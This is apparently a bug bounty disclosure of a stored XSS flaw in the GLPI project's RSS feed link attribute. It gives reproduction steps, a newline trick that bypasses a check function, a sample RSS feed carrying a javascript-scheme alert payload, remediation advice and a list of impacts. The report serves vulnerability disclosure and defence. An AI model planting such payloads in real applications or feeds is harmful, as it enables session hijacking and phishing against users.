Stored XSS - XSS in RSS link href attribute in glpi-project/glpi
Nov 20th 2022
Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users.
The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping.
In your application, stored XSS occurs when a user inject an XSS payload inside RSS feeds link.
🕵️ Proof of Concept
1. Create new RSS item
2. (Optional) Share it to the whole entity
3. Click on the link
4. XSS is executed !
The following check function can be bypassed by inserting a new line (\n) inside the payload :
The payload is on two lines :
Full content of the RSS feed :
<rss version="2.0"> <channel> <title>toto</title> <description>This is a simplified example of the RSS feed</description> <link>java script:alert(`XSSSS!`)</link> <copyright>2021 fileformat.com All rights reserved</copyright> <lastBuildDate>Wed, 22 Jun 2021 00:01:00 +0000</lastBuildDate> <pubDate>Wed, 22 Jun 2021 16:20:00 +0000</pubDate> <ttl>1800</ttl> <item> <title>Ex2ample entry</title> <description>Here is some text containing an interesting description.</description> <link>http://example.com</link> <guid isPermaLink="false">9bd605d5-1921-8i67-dgft-65g635d3587u</guid> <pubDate>Wed, 22 Jun 2021 16:20:00 +0000</pubDate> </item> </channel> </rss>
For XSS attacks to be successful, an attacker needs to insert and execute malicious content in a webpage. Each variable in a web application needs to be protected. Ensuring that all variables go through validation and are then escaped or sanitized is known as perfect injection resistance. Any variable that does not go through this process is a potential weakness. Frameworks make it easy to ensure variables are correctly validated and escaped or sanitised. In PHP, you can use the htmlspecialchars function to sanitize variables.
As a last line of defense, you can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur or Web Application Firewall (WAF).
- OWASP - Cross Site Scripting (XSS)
- OWASP - Cross Site Scripting Prevention Cheat Sheet
- Wikipedia - Cross-site scripting
- PortSwigger - Cross-site scripting
- PortSwigger - Stored XSS
- Mozilla - Content Security Policy (CSP)
XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise.
Example of impacts :
- Disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account (Only if
HttpOnlycookie's flag is set to false).
- Redirecting the user to some other page or site (like phishing websites)
- Modifying the content of the current page (add a fake login page that sends credentials to the attacker).
- Automatically download malicious files.
- Requests access to the victim geolocation / camera.